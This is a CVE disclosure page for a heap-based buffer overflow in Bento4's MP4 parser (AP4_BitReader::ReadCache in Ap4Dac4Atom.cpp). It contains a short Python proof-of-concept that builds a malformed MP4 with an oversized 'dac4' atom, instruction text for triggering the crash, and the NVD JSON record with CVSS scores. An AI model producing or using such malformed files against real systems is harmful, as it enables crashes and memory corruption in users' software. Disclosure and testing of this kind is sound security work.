CVE-2026-5235

# Proof of Concept for CVE-2026-5235 # This script generates a malformed MP4 file to trigger the heap overflow. import struct def create_poc_mp4(filename): # Minimal MP4 box header structure # The actual exploit requires specific data patterns in the DAC4 atom # to trigger the overflow in AP4_BitReader::ReadCache. # File header (ftyp placeholder) ftyp = b'\x00\x00\x00\x20ftypisom\x00\x00\x02\x00isomiso2avc1mp41\x00\x00\x00\x00' # Malicious DAC4 atom structure # Size field (large size to potentially confuse parser) # Type 'dac4' atom_header = struct.pack('>I', 0xFFFFFFFF) + b'dac4' # Payload designed to overflow the ReadCache buffer # Sending excessive bytes to trigger the heap corruption malicious_payload = b'A' * 0x5000 with open(filename, 'wb') as f: f.write(ftyp) f.write(atom_header) f.write(malicious_payload) if __name__ == "__main__": print("Generating PoC file for CVE-2026-5235...") create_poc_mp4("cve_2026_5235_poc.mp4") print("[+] PoC file generated: cve_2026_5235_poc.mp4") print("[+] Use Bento4 tools (e.g., mp4dump) to parse this file to trigger the crash.")

{"cve": {"id": "CVE-2026-5235", "sourceIdentifier": "[email protected]", "published": "2026-03-31T23:17:11.163", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Axiomatic Bento4 up to 1.6.0-641. This impacts the function AP4_BitReader::ReadCache of the file Ap4Dac4Atom.cpp of the component MP4 File Parser. This manipulation causes heap-based buffer overflow. The attack needs to be launched locally. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet."}, {"lang": "es", "value": "Una vulnerabilidad fue determinada en Axiomatic Bento4 hasta 1.6.0-641. Esto afecta la función AP4_BitReader::ReadCache del archivo Ap4Dac4Atom.cpp del componente MP4 File Parser. Esta manipulación causa desbordamiento de búfer basado en montículo. El ataque necesita ser lanzado localmente. El exploit ha sido divulgado públicamente y puede ser utilizado. El proyecto fue informado del problema tempranamente a través de un informe de problema pero aún no ha respondido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://github.com/axiomatic-systems/Bento4/issues/1058", "source": "[email protected]"}, {"url": "https://github.com/axiomatic-systems/Bento4/issues/1058#issue-4078583078", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/780472", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354386", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354386/cti", "source": "[email protected]"}]}}